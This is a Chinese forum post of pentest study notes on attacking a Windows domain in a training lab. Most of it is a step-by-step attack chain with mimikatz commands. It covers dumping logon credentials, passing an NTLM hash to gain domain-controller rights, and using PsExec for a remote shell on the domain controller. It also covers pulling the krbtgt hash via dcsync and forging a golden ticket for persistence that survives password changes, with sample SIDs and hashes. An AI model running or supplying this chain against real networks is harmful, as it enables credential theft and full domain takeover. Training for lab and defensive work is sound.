内网渗透(二)

渗透你的美   ·   发表于 2022-05-21 19:20:22   ·   学习杂记

内网渗透(二)

很多漏洞都是为了管理员或者是用户方便而产生,所以便捷性和安全永远在对立面,越方便,越危险!!!

进入了内网,里面有很多机器,例如:几百台、上千台电脑,但是计算机管理员仅仅只有几个人,如果他们想对所有电脑进行更新升级,是不是要累死?一台一台的操作过去,肯定会抓狂,Windows的开发也考虑到了这个问题,于是Windows中有一个域的功能

0x01域的简介与搭建

1.域

域是一个由安全边界的计算机集合。其实就是一些计算机所组成的,一个电脑也能是一个域,一堆电脑也可以是一个域。

域比较复杂,分为单域、父域、子域、域树、域森林等概念 对于初期渗透测试人员而言,其实都差不多。

2. 域控(DC)

域中的机器并不平等,分为控制机和客户机,控制机的权限很大,可以操作域中的任意机器,它被叫为域控制器,俗称域控(DC)。 拿下域控,就等于拿下域里面所有的机器。对于黑客而言,拿下域控也是攻击的最终极目标
域控账号可以登录域内任意主机,登陆时标注自己在哪个域zkaq\

问题:在靶场环境(真实环境)中,拿到了域控,想要访问域内其他主机,必须使用域名zkaq\用户名,但是域控用户密码我们不知道,虽然可以net user直接更改,但是那样管理员就无法登录了。问题就是域控内创建的新用户无法通过这种方式控制域内其他机器,都会显示”连接被拒绝 因为没有授权此用户远程登陆”,在被控制端添加远程选项中可以选择我们在域控创建的新用户后确实可以登陆,但是”域控主机可以控制登陆域内任何主机”就失去了意义,网上查了各种方法都没有解决

3. 搭建域

搭建域:域服务、DNS服务[域中需要]

林功能级别,为林最低级别,就是说其子域不能低于这个级别。所以木桶短板原理,设置低一点好,这里选择windows_server_2008_R2

4. 加入域

  1. 计算机属性里面的计算机名里点击修改,写上你要加入的域(zkaq.cn),需要输入域管理密码。
  2. tips:加入域之前,需要设置下DNS服务器,把DNS设置为域控机器就行
  3. //创建了一个域名(zkaq.cn)这个域只作用于内网;动静态ip

如何确定一个机器是否加入了域?

systeminfo:如果域显示为WORKGROUP(工作组),说明没有加入域

如何找域控?

域控主机与DNS主机为同一台,域控主机搭建了DNS服务才能用。
所以可以尝试ping域名,返回的ip就为域控的地址

0x02域渗透-哈希传递

域控管理员会去登陆域内其他机器且没有注销,可以利用猕猴桃去抓取域控密码,但是抓取到的都是密文,这是因为在Windows高版本中(例如:Windows server 2012 及以上版本都是密文)或者是打了KB2871997补丁都是密文存储的。虽然有密文,但是密文是不可逆,基本没有办法解开。

所以出现了一种办法叫做哈希传递(PTH) Pass-The-Hash

哈希传递

  1. A=>密码要加密=>登陆时跟数据库内密码做校验,如果相等=>成功登陆
  2. 哈希传递把抓到的用户的密文直接发送给想登陆的那台机器,然后机器看到密文去校验,如果正确就放行

1. 通过哈希传递拿到域控的权限,下一步拿域控cmd

  1. mimikatz
  2. privilege::debug 提升权限
  3. sekurlsa::logonpasswords 抓取密码
  4. sekurlsa::pth /user:administrator /domain:"zkaq.cn" /ntlm:327a5087d83c664096919afbd40f21c8
  5. //user:登陆用户
  6. //domain:域地址(机器)
  7. //ntlm:加密值

这里会弹出一个CMD框 我们先用看看自己是否有权限
dir \\WIN-D6PMU0BTMC1.zkaq.cn\c$ (查看域控C盘)

\\UNC路径 smb共享文件,WIN-D6PMU0BTMC1(主机名)一般来说域控就是dc
到这里意味着自己有了域控的权限

2. 通过工具PsExec.exe(Windows官方工具,白名单内)获取域控cmd

  1. 用法:PsExec.exe \\域控地址 cmd
  2. //它会去调用域控主机的cmd,专门是用来做域方面的控制的

如图拿到利用哈希传递获得的权限后cd到psexec的目录然后运行,即可获得域控cmd

这样就可以为所欲为了,添加个管理员账号,拿到权限后需要慢慢分析,所以需要权限维持,但是动静太大了迟早被发现
这里我们要知道域控可以登录一切域内机器,所以域控的账号密码会换来换去,我们可能下次就不能这样的登录了,那么为了维持长久的控制,我们要去制作伪造一个黄金票据,他域控密码更改后也能继续利用黄金票据进行登陆。

0x03域渗透-黄金票据

域渗透中其实有金银票据,一个是黄金票据一个是白银票据。一个用的是域控用户账户,一个用的是krbtgt账户(域控机都会有这个账户)
金票权限是最大的,白银票据权限远不如金票,我们主讲黄金票据

黄金票据(一张通行证)它不会被域控主机修改账户名密码所影响。

1. 获取krbgtg账户的Security id与Relative id

  1. lsadump::dcsync /user:krbtgt //获取krbtgt的密码 [mimikatz 会模拟域控,向目标域控请求账号密码信息]
  2. 提取出里面的sidhashNTLM

2.利用krbgtg用户的SID与RID制作黄金票据

有了SID和RID可以在其他机器上制作

  1. kerberos::golden /admin:administrator /domain:zkaq.cn /sid:S-1-5-21-4098506371-3349406080-1400905760 /krbtgt:9f7afad7acc9f72b7e338b908795b7da /ticket:administrator.kiribi //[制作票据]
  2. kerberos::ptt administrator.kiribi //[加载票据]

3. 制作好票据后可以在域内其他机器上加载票据,获得域控权限,又可以利用这个权限打开域控cmd (psexec.exe)

提取东西在域控,伪造在客户机

总结

拿到域内成员机抓取成员及密码(发现域控主机账户密码登陆过)--->抓不到明文于是利用哈希传递,通过哈希传递获得了域控权限,但是没有域控cmd,所以用PsExec.exe调用域控cmd(有了域控权限才能调用)---> 添加账号登陆域控--->利用域控自带账户krbtgt的权限制作了黄金票据(相当于一张通行证,可以一直用,不受管理员修改密码的影响)--->只要任意一台域内成员机加载了票据,就有了域控权限,就可以用PsExec.exe调用域控cmd)

0x04Windows认证协议 - Kerberos

1. krbtgt账户是什么

krbtgt账户其实就是那个KDC秘钥分发中心用的超管密码,我们拿着那个的票据,去访问客户机,客户机会认为我们是KDC秘钥分发中心,所以直接给了最高的权限允许我们访问,一般管理员会修改域控机密码,但是很少有管理员会修改Krbtgt的密码。

2. Kerberos认证原理

域控机用域控账户去登陆其他用户机中间经过了什么?

  1. KDC(密钥分发中心)--->AS(去数据库查询域控的用户名,如果存在就会返回一串64位的加密值,它是根据域控密码加密的,需要用域控账户名密码去解,解开后是一串密钥)
  2. TGS(和目标机器进行交互时,用AS提供的密钥进行加密然后对域控提供的密码进行校验)//校验成功后给个通行证就可以登入了

打赏我,让我更有动力~

2 条回复   |  直到 2022-6-28 | 702 次浏览

杰斯
发表于 2022-5-25

加油加油

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.